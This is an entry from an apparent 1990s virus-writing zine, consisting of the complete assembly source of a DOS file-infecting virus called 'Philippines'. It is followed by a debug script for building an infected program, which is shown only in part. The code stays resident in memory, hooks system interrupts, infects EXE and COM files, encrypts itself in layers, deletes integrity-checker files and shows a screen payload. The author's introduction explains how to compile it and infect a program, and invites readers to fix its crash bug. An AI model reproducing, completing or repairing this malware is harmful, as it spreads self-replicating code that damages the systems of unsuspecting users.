HEX-FILES No. 2 File 014 ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ Philippines 1 Folks, meet my first virus. If you are planning to execute this virus for a look-see, hold on a minute. Is your computer an 8086? 8088? V20? XT-compatible? No to all of these? That's what I thought. You might not have seen this oldie for quite some time, that is, if you have seen one at all. If you don't have an XT or a compatible, tough luck, this virus won't work for you. It would crash your system. My first computer was an 8086 that was passed to me when a relative upgraded to 386. I couldn't afford to buy my own so I was thankful to have one even if it is a clunker. Even when prices have gone down and I could afford a newer computer, I was content with the 8086. That is, until it gave up on me and went out, literally, on a smoky farewell. My first virus was written and fully tested on the XT. However, when executed on a 286 or newer CPUs, it crashes. How come? I found out the problem is in my decryptor. I did the necessary fix and created a new group of Philippines virus -- the self modifying encryption group. (If you want to call it polymorphic, so be it. But if you ask me, it is not.) You already met a member of this group in HEX-FILES No. 1 -- Philippines.3133 If you want to get a copy of an infected file, go find an XT. Just joking. :) You would find a debug script of an infected file after the source code. However, if you want to get a copy of an infected file by yourself, here's how to do it. Compile the source code to EXE. Rename the first generation EXE to COM. Copy a program you want to be infected in the directory where the virus first generation is. (If that particular program is a COM, rename it to EXE. Make sure that there are no other programs in that directory that have the EXE file extension.) Execute the first generation of the virus. You now have an infected program and prepare for a crash. Better reset. If you want the virus to work on any computer, go ahead and fix the code. Or, you can move over to the next file where you would find your wish come true -- I already fixed the problem so that you would have a working virus. But if you would want to do it yourself, be my guest. ÄÄ PHILPNS1.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ TITLE Philippines Virus by Putoksa Kawayan 12.1993 InterTable SEGMENT AT 0 ORG 4*1 InterTab1 LABEL DWORD InterTab1IP DW ? InterTab1CS DW ? ORG 4*19h InterTab19 LABEL DWORD InterTab19IP DW ? InterTab19CS DW ? InterTable ENDS VirusCode SEGMENT WORD 'Code' ASSUME CS:VirusCode, DS:VirusCode, ES:Nothing VirLen EQU (Offset ReadArea-Offset InitC) SubOff EQU (Offset Bios8-Offset Bios7) TopOff EQU ((Offset InitC3-1)-Offset InitC) ExeEnc1 EQU (Offset Country-Offset InitE10) ExeEnc2 EQU (Offset Country-Offset InitE13) ExeEnc3 EQU ((Offset Country-Offset InitE4)-1) ExeEnc4 EQU (Offset InitE-Offset InitC) ComEnc1 EQU ((Offset Country-Offset InitC2)-1) ComEnc2 EQU (Offset Country-Offset InitC6) ComEnc3 EQU (Offset Country-Offset InitC8) StartLen EQU ((Offset DummyLen-Offset InitC)-1) CountryLen EQU (Offset ReadArea-Offset Country) MessageLen EQU (Offset ReadArea-Offset Message) ChecklistLen EQU (Offset Message-Offset Checklist) ComEntryLen EQU (Offset XorMaker-Offset ComEntry) SwimmerLen EQU (Offset Interrupt8-Offset Swimmer5Top) ResidePara EQU ((((Offset MessageFirstGen-Offset InitC)+100h)/16)+1) InitC: MOV DI,1111h PUSH DI POP SI InitC1: LODSB SUB AL,0 STOSB DEC BX InitC2: JNZ InitC1 InitC3: MOV AX,CS CALL $+3 POP BP DummyLen: SUB BP,StartLen JMP InitC4 PrepareToEncrypt: MOV ES,AllocMem XOR DI,DI MOV SI,DI MOV CX,Virlen REPZ MOVSB PUSH ES POP DS RET ComEntry: MOV BX,ComEnc1 ComEntry1: MOV SI,4444h PUSH SI CLD RET XorMaker: CALL GetBase OR DL,DL JNZ XorMak1 ADD DL,DH SHR DL,1 OR DL,DL JZ XorMaker XorMak1: RET UseFileName: CLD MOV BX,DX PUSH DX FilNam1: MOV AL,[BX] OR AL,AL JZ FilNam3 CMP AL,'a' JB FilNam2 CMP AL,'z' JA FilNam2 SUB BYTE PTR [BX],20h FilNam2: INC BX JMP FilNam1 FilNam3: MOV CX,BX INC CX POP SI SUB CX,SI PUSH CX PUSH DS POP ES MOV AL,'.' MOV DI,DX REPNZ SCASB MOV AX,'EX' CMP [DI],AH JNZ FilNam5 CMP [DI+1],AX JNZ FilNam8 FilNam4: PUSH CS POP ES MOV BYTE PTR CS:FileType,1 JMP Short FilNam9 FilNam5: MOV AX,'MO' CMP [DI+1],AX JNZ FilNam8 CMP BYTE PTR [DI],'C' JNZ FilNam8 POP CX PUSH CX SUB CX,4 MOV AX,':\' FilNam6: CMP [DI-1],AL JZ FilNam7 CMP [DI-1],AH JZ FilNam7 DEC DI LOOP FilNam6 FilNam7: MOV SI,DI PUSH CS POP ES MOV DI,Offset CommandCom MOV CX,11 REPZ CMPSB JNZ FilNam4 FilNam8: MOV BYTE PTR CS:FileType,0 FilNam9: POP CX RET CommandCom DB 'COMMAND.COM' ExecutePara DW 0 ExecutePara1 DW 0080h ExecutePara2 DW ? ExecutePara3 DW 005Ch ExecutePara4 DW ? ExecutePara5 DW 006Ch ExecutePara6 DW ? SecBytes DW 512 ParaBytes DW 16 StackSeg DW ? InitC4: MOV SI,Offset InitC6 ADD SI,BP MOV DI,SI MOV DX,ComEnc2 MOV CL,3 InitC5: LODSB ROR AL,CL STOSB DEC DX JNZ InitC5 InitC6: MOV SI,Offset InitC8 ADD SI,BP MOV DI,SI MOV CX,ComEnc3 InitC7: LODSB XOR AL,0 STOSB DEC CX JNZ InitC7 InitC8: JMP Short InitC9 CheckAttrib: CMP AH,43h JZ Attrib2 Attrib1: JMP Dos3 Attrib2: MOV CS:Environment,BP MOV BP,Offset Attrib3 JMP CheckIfInfected Attrib3: MOV BP,CS:Environment CMP CS:ChkSum,9818h JNZ Attrib1 OR AL,AL JZ Attrib4 OR CL,1 Attrib4: POPF CALL UseOldDos JB Attrib5 PUSHF AND CL,0FEh POPF Attrib5: IRET FindFirstFile: PUSH DX MOV AH,1Ah MOV DX,Offset ReadArea CALL UseOldDos POP DX MOV AH,4Eh MOV CX,7 CALL UseOldDos RET InitC9: CALL MemResChk JNZ InitV1 InitC10: MOV DI,100h MOV SI,Offset DataStorage ADD SI,BP PUSH DI MOV CX,16 REPZ MOVSW RET MemChkOK: NOT AX POPF IRET RestoreInt24: LDS DX,CS:Int24Address MOV AX,2524h CALL UseOldDos RET Interrupt24: MOV AL,3 IRET InitV1: PUSH ES MOV SI,BP XOR DI,DI MOV AX,ES ADD AX,16 MOV ES,AX MOV CX,((Virlen+1)/2) REPZ MOVSW PUSH ES POP DS POP ES PUSH AX MOV BP,Offset InitV2 PUSH BP RETF EncryptData: PUSH SI PUSH CX PUSH SI POP DI EncDat1: LODSB NOT AL STOSB LOOP EncDat1 POP CX POP SI RET InfectionCount DB 0 Interrupt21: PUSHF CMP AX,4B00h JZ Dos1 CMP AX,0F00Fh JZ MemChkOK JMP OpenFile Dos1: PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH DS PUSH ES CALL Propagate CALL GoToWork Dos2: POP ES POP DS POP DI POP SI POP DX POP CX POP BX POP AX Dos3: POPF JMP CS:Int21Address InitV2: MOV AX,ES:[2Ch] MOV Environment,AX MOV CS:ExecutePara2,ES MOV CS:ExecutePara4,ES MOV CS:ExecutePara6,ES PUSH ES PUSH CS POP ES MOV BL,1 InitV3: MOV SI,Offset MessageEnc MOV CX,MessageLen CALL EncryptData OR BL,BL JZ InitV4 MOV DI,Offset Message REPZ MOVSB DEC BL JMP InitV3 InitV4: POP ES CLI MOV AX,CS MOV SS,AX MOV SP,(Offset SaveScreen-1) STI JMP InitV5 GoToWork: CALL UseFileName CMP BYTE PTR CS:FileType,0 JZ Dos4 MOV SI,DX MOV DI,Offset ASCIIZ REPZ MOVSB JMP Short Dos5 Dos4: RET Dos5: PUSH CS POP DS MOV AX,3524h CALL UseOldDos MOV Int24IP,BX MOV Int24CS,ES MOV AX,2524h MOV DX,Offset Interrupt24 CALL UseOldDos PUSH CS POP ES MOV DX,Offset ASCIIZ MOV AX,3D00h CALL UseOldDos JB Dos4 MOV BX,AX MOV AX,4202h MOV CX,-1 MOV DX,-11 CALL UseOldDos MOV CX,11 MOV DX,Offset ReadArea MOV AH,3Fh CALL UseOldDos JB Dos6 MOV DX,18 CALL MovePointerToChkSm MOV DX,Offset Chksum MOV CX,2 MOV AH,3Fh CALL UseOldDos Dos6: PUSHF MOV AH,3Eh CALL UseOldDos POPF JB Dos7 MOV DI,Offset ReadArea MOV SI,Offset Country MOV CX,11 REPZ CMPSB JNZ Dos8 CMP Chksum,9818h JNZ Dos8 Dos7: JMP RestoreInt24 Dos8: XOR DX,DX MOV BX,Offset ASCIIZ CMP BYTE PTR [BX+1],':' JNE Dos8A MOV DL,[BX] SUB DL,'A'-1 Dos8A:MOV AH,36h CALL UseOldDos JB Dos7 MUL BX MUL CX OR DX,DX JNZ Dos9 CMP AX,(((VirLen/1024)+1)*1024) JB Dos7 Dos9: MOV BX,((VirLen/16)+2) MOV AH,48h CALL UseOldDos JB Dos7 MOV AllocMem,AX MOV DX,Offset ASCIIZ MOV AX,4300h CALL UseOldDos JB Dos11 MOV Attribute,CX MOV AX,4301h XOR CX,CX CALL UseOldDos JB Dos11 MOV AX,3D02h CALL UseOldDos JB Dos11 MOV BX,AX MOV FileHandle,BX MOV AX,5700h CALL UseOldDos MOV FileTime,CX MOV FileDate,DX XOR CX,CX XOR DX,DX MOV AX,4202h CALL UseOldDos MOV LoLen,AX MOV HiLen,DX PUSH AX CALL MovePointerStart MOV DX,Offset ReadArea MOV CX,32 MOV AH,3Fh CALL UseOldDos POP AX CMP ExeID,'ZM' JE Dos12 CMP AX,1993 JB Dos14 Dos10:JMP Dos18 Dos11:JMP Dos23 Dos12:MOV AX,OffsSS MOV StackSeg,AX MOV AX,OffsSP MOV SPoint,AX MOV AX,OffsCS MOV CodeSegt,AX MOV AX,OffsIP MOV IPoint,AX MOV AX,BlocksNo CMP BytesLast,0 JZ Dos13 DEC AX Dos13:MUL SecBytes ADD AX,BytesLast ADC DX,0 ADD AX,ParaBytes ADC DX,0 AND AX,0FFF0h MOV LoLen,AX MOV HiLen,DX ADD AX,VirLen ADC DX,0 JNB Dos15 Dos14:JMP Dos22 Dos15:DIV SecBytes OR DX,DX JZ Dos16 INC AX Dos16: MOV BlocksNo,AX MOV BytesLast,DX MOV DX,HiLen MOV AX,LoLen DIV ParaBytes SUB AX,HeaderPara MOV OffsCS,AX MOV OffsIP,Offset InitE MOV Chksum,9818h MOV OffsSP,(Offset SaveScreen-1) MOV OffsSS,AX INC InfectionCount JMP EncryptExe Dos17:CALL MovePointerStart MOV CX,28 JMP Short Dos21 Dos18: MOV AX,LoLen ADD AX,16 JB Dos22 AND AX,0FFF0h MOV LoLen,AX ADD AX,VirLen JB Dos22 Dos19:PUSH DS POP ES MOV DI,Offset DataStorage MOV SI,Offset ReadArea MOV CX,16 REPZ MOVSW INC InfectionCount JMP EncryptCom Dos20:MOV DS,CS:LoLen MOV DI,Offset ReadArea PUSH DI MOV CX,16 REPZ MOVSW PUSH CS POP DS POP DI MOV SI,Offset ComEntry MOV CX,ComEntryLen REPZ MOVSB MOV Chksum,9818h CALL MovePointerStart MOV CX,32 Dos21:MOV DX,Offset ReadArea MOV AH,40h CALL UseOldDos MOV CX,FileTime MOV DX,FileDate MOV AX,5701h CALL UseOldDos Dos22:MOV AH,3Eh CALL UseOldDos MOV CX,Attribute OR CX,1 MOV DX,Offset ASCIIZ MOV AX,4301h CALL UseOldDos Dos23: MOV ES,AllocMem MOV AH,49h CALL UseOldDos JMP LookForChkSum SubMaker: CALL GetBase OR DL,DL JNZ SubMak1 JMP SubMaker SubMak1: MOV DH,DL NEG DL RET ReturnControl LABEL DWORD IPoint DW ? CodeSegt DW ? WriteVirusCode: MOV DX,CS:LoLen MOV CX,CS:HiLen MOV BX,CS:FileHandle CALL MovePointer MOV CX,VirLen XOR DX,DX MOV AH,40h CALL UseOldDos RET GetBase: XOR AX,AX INT 1Ah CMP CS:LastTime,DX MOV CS:LastTime,DX JNE GetBase1 PUSH DX MOV AH,2Ch CALL UseOldDos POP AX XOR AX,CS:FileTime GetBase1: ADD AX,DX ADD AX,CX MUL DX ADD DX,AX CMP CX,1 JBE GetBase2 MOV AX,DX MUL CX ADD DX,AX GetBase2: RET MessageEnc DB 'Written by Putoksa Kawayan on December 1993, ' DB 'in MetroManila, Philippines' InitE: MOV BX,Offset InitE4 InitE1:MOV CX,0 InitE2:INC BX InitE3:XOR BYTE PTR CS:[BX],0 DEC CX InitE4:JNZ InitE2 CLD MOV DI,BX INC DI MOV SI,DI PUSH ES PUSH CS POP DS PUSH DS POP ES InitE5:MOV CX,0 JCXZ InitE8 InitE6:LODSB InitE7:XOR AL,0 STOSB DEC CX JNZ InitE6 InitE8:MOV SI,Offset InitE10 MOV DI,SI MOV BP,ExeEnc1 MOV CL,5 InitE9:LODSB ROL AL,CL STOSB DEC BP JNZ InitE9 InitE10:MOV SI,Offset InitE13 MOV DI,SI MOV CX,ExeEnc2 InitE11:LODSB InitE12:SUB AL,0 STOSB DEC CX JNZ InitE11 InitE13:MOV SI,Offset InitC MOV DI,SI MOV CX,ExeEnc4 PUSH CX PUSH SI PUSH DI InitE14:LODSB InitE15:ADD AL,0 STOSB DEC CX JNZ InitE14 POP DI POP SI POP CX PUSH CX PUSH SI PUSH DI InitE16:LODSB NEG AL STOSB DEC CX JNZ InitE16 POP DI POP SI POP CX InitE17:MOV AH,0 InitE18:LODSB XOR AL,AH STOSB DEC CX JNZ InitE18 MOV BP,CX CALL MemResChk POP ES JNZ InitE19 MOV BX,ES ADD BX,16 ADD StackSeg,BX ADD CodeSegt,BX MOV SS,StackSeg MOV SP,SPoint PUSH ES POP DS JMP CS:ReturnControl InitE19:JMP InitV1 DataStorage DB 32 DUP (?) CheckIfInfected: PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH DS PUSH ES CALL UseFileName CMP BYTE PTR CS:FileType,1 JZ ChkInfect2 ChkInfect1: MOV BP,CS:Environment JMP Dos2 ChkInfect2: MOV DI,Offset ASCIIZ MOV SI,DX PUSH DI REPZ MOVSB PUSH CS POP DS POP DX MOV AX,3D00h CALL UseOldDos JB ChkInfect1 MOV BX,AX MOV DX,18 CALL MovePointerToChkSm MOV DX,Offset Chksum MOV CX,2 MOV AH,3Fh CALL UseOldDos MOV AH,3Eh CALL UseOldDos POP ES POP DS POP DI POP SI POP DX POP CX POP BX POP AX PUSH BP RET EncryptExe: CALL PrepareToEncrypt CALL XorMaker MOV SI,(Offset InitE17)+1 MOV [SI],DL MOV SI,Offset InitC MOV DI,SI MOV CX,ExeEnc4 PUSH CX PUSH SI PUSH DI EncE1:LODSB XOR AL,DL STOSB LOOP EncE1 POP DI POP SI POP CX PUSH CX PUSH SI PUSH DI EncE2:LODSB NEG AL STOSB LOOP EncE2 CALL SubMaker MOV SI,(Offset InitE15)+1 MOV [SI],DL POP DI POP SI POP CX EncE3:LODSB ADD AL,DH STOSB LOOP EncE3 CALL GetBase MOV CX,AX MOV SI,(Offset InitE5)+1 MOV BP,ExeEnc3 CMP CX,BP JBE EncE4 SHR CX,1 SHR CX,1 SHR CX,1 SHR CX,1 CMP CX,BP JBE EncE4 SUB CX,CS:LoLen AND CX,0FFFh CMP CX,BP JBE EncE4 XOR BX,BX MOV CX,BP MOV [SI],BX JMP Short EncE5 EncE4:MOV BX,BP SUB BX,CX MOV [SI],BX EncE5:MOV SI,(Offset InitE1)+1 MOV [SI],CX PUSH CX PUSH BX CALL SubMaker MOV SI,(Offset InitE12)+1 MOV [SI],DL MOV DI,Offset InitE13 MOV SI,DI MOV CX,ExeEnc2 EncE6:LODSB SUB AL,DH STOSB LOOP EncE6 MOV SI,Offset InitE10 MOV DI,SI MOV DX,ExeEnc1 MOV CX,5 EncE7:LODSB ROR AL,CL STOSB DEC DX JNZ EncE7 POP CX JCXZ EncE9 PUSH CX CALL XorMaker MOV SI,(Offset InitE7)+1 MOV [SI],DL MOV SI,(Offset InitE4)+1 MOV DI,ExeEnc3 POP CX SUB DI,CX ADD SI,DI MOV DI,SI EncE8:LODSB XOR AL,DL STOSB DEC CX JNZ EncE8 EncE9:CALL XorMaker MOV SI,(Offset InitE4)+1 POP CX MOV DI,(Offset InitE3)+3 MOV [DI],DL MOV DI,SI EncE10:LODSB XOR AL,DL STOSB LOOP EncE10 PUSH CS POP ES CALL WriteVirusCode PUSH CS POP DS JMP Dos17 Propagate: PUSH DX PUSH DS PUSH ES MOV BX,DX CMP BYTE PTR [BX+1],':' JNE Prop1 MOV AL,[BX] JMP Short Prop2 Prop1:MOV AH,19h CALL UseOldDos ADD AL,41h Prop2:PUSH CS POP DS PUSH DS POP ES MOV ExeAsciiz,AL MOV AH,':' MOV DI,Offset ASCIIZ MOV BP,DI CLD STOSW MOV DX,Offset ExeAsciiz CALL FindFirstFile JB Prop4 MOV SI,Offset ReadArea+1Eh Prop3:LODSB STOSB OR AL,AL JNZ Prop3 MOV DX,BP CALL GoToWork Prop4:POP ES POP DS POP DX RET MovePointerStart: XOR DX,DX MovePointerToChkSm: XOR CX,CX MovePointer: MOV AX,4200h UseOldDos: PUSHF CALL CS:Int21Address RET Swimmer5Top DB 0FFh,3Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,'\',1Fh Swimmer5Middle DB 0FFh,3Fh,'=',1Fh,'=',1Fh,'-',1Fh,'-',1Fh,'-',1Fh,'O',1Fh Swimmer5Bottom DB 0FFh,3Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,'/',1Fh Swimmer2Top DB 0FFh,3Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh DB '/',1Fh Swimmer2Middle DB 0FFh,3Fh,'=',1Fh,'=',1Fh,'-',1Fh,'-',1Fh,'-',1Fh,'O',1Fh Swimmer2Bottom DB 0FFh,3Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh DB '\',1Fh Swimmer1Sides DB 0FFh,3Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh Swimmer1Middle DB 0FFh,3Fh,'=',1Fh,'=',1Fh,'-',1Fh,'-',1Fh,'-',1Fh,'O',1Fh DB '=',1Fh,'=',1Fh Swimmer3Top DB 0FFh,3Fh,'\',1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,'/',1Fh Swimmer3Middle DB 0FFh,3Fh,20h,1Fh,'-',1Fh,'-',1Fh,'-',1Fh,'O',1Fh Swimmer3Bottom DB 0FFh,3Fh,'/',1Fh,20h,1Fh,20h,1Fh,20h,1Fh,20h,1Fh,'\',1Fh Swimmer4Top DB 0FFh,3Fh,'\',1Fh,20h,1Fh,20h,1Fh,'\',1Fh Swimmer4Middle DB 0FFh,3Fh,'-',1Fh,'-',1Fh,'-',1Fh,'O',1Fh Swimmer4Bottom DB 0FFh,3Fh,'/',1Fh,20h,1Fh,20h,1Fh,'/',1Fh Interrupt8: INT 3 PUSHF INC CS:Timer JNZ Bios1 DEC BYTE PTR CS:HourCount JNZ Bios1 CMP CS:InfectionCount,200 JNB Bios2 Bios1:POPF JMP CS:Int8Address Bios2:POPF CLD PUSH CS POP DS PUSH DS POP ES MOV SI,Offset Swimmer5Top MOV CX,SwimmerLen CALL EncryptData MOV BX,0B800h INT 11h AND AL,30h CMP AL,30h JNE Bios3 MOV BX,0B000h Bios3:MOV DS,BX XOR SI,SI MOV DI,Offset SaveScreen MOV CX,2000 PUSH CX PUSH DI PUSH SI REPZ MOVSW MOV AX,3 INT 10h MOV AH,1 MOV CX,0909h INT 10h PUSH CS PUSH DS POP ES POP DS POP DI POP SI POP CX MOV BP,4000 REPZ MOVSW Bios4:XOR BX,BX Bios5:MOV CX,15 Bios6:PUSH CX MOV SI,Offset Swimmer1Sides Bios7:MOV DI,BX CMP BX,BP JB Bios8 CALL OverTheTop Bios8:MOV CX,7 REPZ MOVSW MOV SI,Offset Swimmer1Middle MOV DI,BX ADD DI,160 MOV CX,9 REPZ MOVSW MOV SI,Offset Swimmer1Sides MOV DI,BX ADD DI,320 MOV CX,7 REPZ MOVSW NOT CX REPZ LODSB ADD BX,2 POP CX LOOP Bios6 MOV CX,3 Bios9:PUSH CX MOV SI,Offset Swimmer2Top MOV DI,BX CMP BX,BP JB Bios10 CALL OverTheTop Bios10:MOV CX,8 REPZ MOVSW MOV SI,Offset Swimmer2Middle MOV DI,BX ADD DI,160 MOV CX,7 REPZ MOVSW MOV SI,Offset Swimmer2Bottom MOV DI,BX ADD DI,320 MOV CX,8 REPZ MOVSW NOT CX REPZ LODSB ADD BX,2 POP CX LOOP Bios9 MOV CX,3 Bios11:PUSH CX MOV SI,Offset Swimmer3Top MOV DI,BX CMP BX,BP JB Bios12 CALL OverTheTop Bios12:MOV CX,7 REPZ MOVSW MOV SI,Offset Swimmer3Middle MOV DI,BX ADD DI,160 MOV CX,6 REPZ MOVSW MOV SI,Offset Swimmer3Bottom MOV DI,BX ADD DI,320 MOV CX,7 REPZ MOVSW NOT CX REPZ LODSB ADD BX,2 POP CX LOOP Bios11 MOV CX,3 Bios13:PUSH CX MOV SI,Offset Swimmer4Top MOV DI,BX CMP BX,BP JB Bios14 CALL OverTheTop Bios14:MOV CX,5 REPZ MOVSW MOV SI,Offset Swimmer4Middle MOV DI,BX ADD DI,160 MOV CX,5 REPZ MOVSW MOV SI,Offset Swimmer4Bottom MOV DI,BX ADD DI,320 MOV CX,5 REPZ MOVSW NOT CX REPZ LODSB ADD BX,2 POP CX LOOP Bios13 MOV CX,4 Bios15:PUSH CX MOV SI,Offset Swimmer5Top MOV DI,BX CMP BX,BP JB Bios16 CALL OverTheTop Bios16:MOV CX,7 REPZ MOVSW MOV SI,Offset Swimmer5Middle MOV DI,BX ADD DI,160 MOV CX,7 REPZ MOVSW MOV SI,Offset Swimmer5Bottom MOV DI,BX ADD DI,320 MOV CX,7 REPZ MOVSW NOT CX REPZ LODSB ADD BX,2 POP CX LOOP Bios15 JMP Bios5 InitV5:MOV AH,4Ah MOV BX,ResidePara INT 21h PUSH CS POP DS MOV Timer,0 MOV BYTE PTR HourCount,4 MOV AX,3521h INT 21h MOV Int21CS,ES MOV Int21IP,BX MOV AH,25h MOV DX,Offset Interrupt21 CALL UseOldDos MOV AX,3508h CALL UseOldDos MOV Int8CS,ES MOV Int8IP,BX MOV AH,25h MOV DX,Offset Interrupt8 CALL UseOldDos MOV ES,Environment XOR DI,DI MOV CX,0FFFEh XOR AL,AL InitV6:REPNZ SCASB CMP ES:[DI],AL LOOPNZ InitV6 ADD DI,3 MOV DX,DI PUSH CS PUSH ES POP DS POP ES CALL Propagate MOV AX,4B00h MOV BX,Offset ExecutePara CALL UseOldDos PUSH DS POP ES MOV AH,49h CALL UseOldDos MOV AH,4Dh CALL UseOldDos MOV AH,31h MOV DX,ResidePara INT 21h OverTheTop: POP AX SUB AX,SubOff PUSH AX MOV SI,Offset SaveScreen XOR DI,DI PUSH DI MOV CX,2000 REPZ MOVSW MOV DI,16 OverTheTop1: NOT CX REPZ LODSB DEC DI JNZ OverTheTop1 POP BX RET OpenFile: CMP AH,3Dh JZ OpnFil1 JMP CheckAttrib OpnFil1:MOV CS:Environment,BP MOV BP,Offset OpnFil2 JMP CheckIfInfected OpnFil2:MOV BP,CS:Environment CMP CS:Chksum,9818h JZ OpnFil4 OpnFil3:JMP Dos3 OpnFil4:POPF CALL UseOldDos STC PUSH BP PUSHF POP AX MOV BP,SP MOV SS:[BP+6],AX POP BP MOV AX,2 IRET SPoint DW ? MemResChk: MOV AL,0Fh MOV AH,AL NOT AH MOV BX,AX NOT BX INT 21h CMP AX,BX ASSUME CS:VirusCode, DS:InterTable, ES:Nothing PUSH DS PUSH ES PUSHF XOR AX,AX MOV DS,AX LES AX,InterTab19 MOV InterTab1CS,ES MOV InterTab1IP,AX POPF POP ES POP DS ASSUME CS:VirusCode, DS:VirusCode, ES:Nothing MemChk1: RET EncryptCom: MOV BP,LoLen ADD BP,100h CALL PrepareToEncrypt CALL XorMaker MOV SI,(Offset InitC7)+2 MOV [SI],DL MOV SI,Offset InitC8 MOV CX,ComEnc3 MOV DI,SI EncC1:LODSB XOR AL,DL STOSB LOOP EncC1 MOV SI,Offset InitC6 MOV DX,ComEnc2 MOV DI,SI MOV CL,3 EncC2:LODSB ROL AL,CL STOSB DEC DX JNZ EncC2 MOV BX,(Offset InitC2)+1 PUSH BX ADD BX,BP MOV DI,(Offset ComEntry)+4 MOV SI,Offset InitC1 MOV CS:[DI],BP MOV [SI-4],BX CALL SubMaker MOV [SI+2],DL POP SI MOV CX,ComEnc1 MOV DI,SI EncC4:LODSB SUB AL,DH STOSB LOOP EncC4 PUSH CS POP ES CALL WriteVirusCode JMP Dos20 LookForChkSum: PUSH CS POP DS PUSH CS POP ES MOV AL,0 MOV CX,140 MOV DX,Offset ASCIIZ MOV DI,DX REPNZ SCASB MOV AX,':\' Look4Chk1: DEC DI CMP BYTE PTR [DI-1],AL JE Look4Chk2 CMP BYTE PTR [DI-1],AH JE Look4Chk2 JMP Look4Chk1 Look4Chk2: MOV BP,DI MOV SI,Offset Checklist MOV CX,ChecklistLen REPZ MOVSB CALL FindFirstFile JB Look4Chk5 MOV SI,Offset ReadArea+1Eh MOV DI,BP Look4Chk4: LODSB STOSB OR AL,AL JNZ Look4Chk4 MOV AX,4301h XOR CX,CX CALL UseOldDos JB Look4Chk5 MOV AH,41h CALL UseOldDos Look4Chk5: JMP RestoreInt24 ExeAsciiz DB 'C:*.EXE',0 Checklist DB 'CHKLIST.*',0 Message DB 'Written by Putoksa Kawayan ' DB 'on December 1993, in MetroManila, ' Country DB 'Philippines' ReadArea LABEL BYTE ExeID DW ? BytesLast DW ? BlocksNo DW ? Reloc1 DW ? HeaderPara DW ? MinPara DW ? LoaderSw DW ? OffsSS DW ? OffsSP DW ? Chksum DW ? OffsIP DW ? OffsCS DW ? Reloc2 DW 10 DUP (?) HourCount DB ? FileType DB ? FileHandle DW ? Attribute DW ? AllocMem DW ? HiLen DW ? LoLen DW ? LastTime DW ? Environment DW ? FileTime DW ? FileDate DW ? Timer DW ? Int24Address LABEL DWORD Int24IP DW ? Int24CS DW ? Int21Address LABEL DWORD Int21IP DW ? Int21CS DW ? Int8Address LABEL DWORD Int8IP DW ? Int8CS DW ? ASCIIZ DB 16 DUP (?) StackArea DB 100h DUP (?) SaveScreen DW ? MessageFirstGen DB 13,10,7,'Philippines virus is alive.',7,7,7,13,10,'$' FirstGeneration: MOV AX,CS MOV DS,AX CALL MemResChk JNZ Inst1 MOV AH,9 LEA DX,MessageFirstGen INT 21h MOV AH,4Ch INT 21h Inst1: CLD PUSH ES PUSH CS POP ES MOV SI,Offset MessageEnc MOV CX,MessageLen CALL EncryptData MOV SI,Offset Swimmer5Top MOV CX,SwimmerLen CALL EncryptData POP ES MOV AX,ES:[2Ch] MOV CS:Environment,AX MOV CS:ExecutePara6,ES MOV CS:ExecutePara4,ES MOV CS:ExecutePara2,ES CLI MOV AX,CS MOV SS,AX MOV SP,(Offset SaveScreen-1) STI JMP InitV5 VirusCode ENDS END FirstGeneration ÄÄ PHILPNS1.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄ PHIL2888.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ N PHIL2888.COM E 0100 BB 32 0B BE E0 08 56 FC C3 00 00 00 00 00 00 00 E 0110 00 00 18 98 00 00 00 00 00 20 00 00 00 00 00 00 E 0120 69 70 70 69 6E 65 73 2E 32 38 38 38 20 76 69 72 E 0130 75 73 20 63 6F 6D 69 6E 67 20 74 6F 20 79 6F 75 E 0140 20 66 72 6F 6D 20 74 68 65 20 50 68 69 6C 69 70 E 0150 70 69 6E 65 73 2E 0D 0A 42 72 6F 75 67 68 74 20 E 0160 74 6F 20 79 6F 75 20 6C 69 76 65 20 62 79 20 48 E 0170 45 58 2D 46 49 4C 45 53 20 4E 6F 2E 20 32 0D 0A E 0180 0A 48 45 58 2D 46 49 4C 45 53 20 61 6E 64 20 50 E 0190 75 74 6F 6B 73 61 20 4B 61 77 61 79 61 6E 20 61 E 01A0 72 65 20 6E 6F 74 20 72 65 73 70 6F 6E 73 69 62 E 01B0 6C 65 20 66 6F 72 20 61 63 74 75 61 6C 2C 20 69 E 01C0 6D 70 6C 69 65 64 0D 0A 61 6E 64 2F 6F 72 20 69 E 01D0 6D 61 67 69 6E 61 72 79 20 64 61 6D 61 67 65 20 E 01E0 62 72 6F 75 67 68 74 20 61 62 6F 75 74 20 62 79 E 01F0 20 74 68 65 20 75 73 65 2C 20 6D 69 73 75 73 65 E 0200 20 6F 72 20 6E 6F 6E 2D 75 73 65 20 6F 66 0D 0A E 0210 74 68 69 73 20 76 69 72 69 69 2E 20 54 68 65 20 E 0220 70 65 72 73 6F 6E 20 77 68 6F 20 65 78 65 63 75 E 0230 74 65 73 20 74 68 69 73 20 76 69 72 69 69 20 62 E 0240 65 61 72 73 20 66 75 6C 6C 20 72 65 73 70 6F 6E E 0250 73 69 62 69 6C 69 74 79 0D 0A 66 6F 72 20 68 69 E 0260 73 2F 68 65 72 20 61 63 74 69 6F 6E 73 2E 0D 0A E 0270 0A 54 68 69 73 20 76 69 72 69 69 20 69 73 20 73 E 0280 74 72 69 63 74 6C 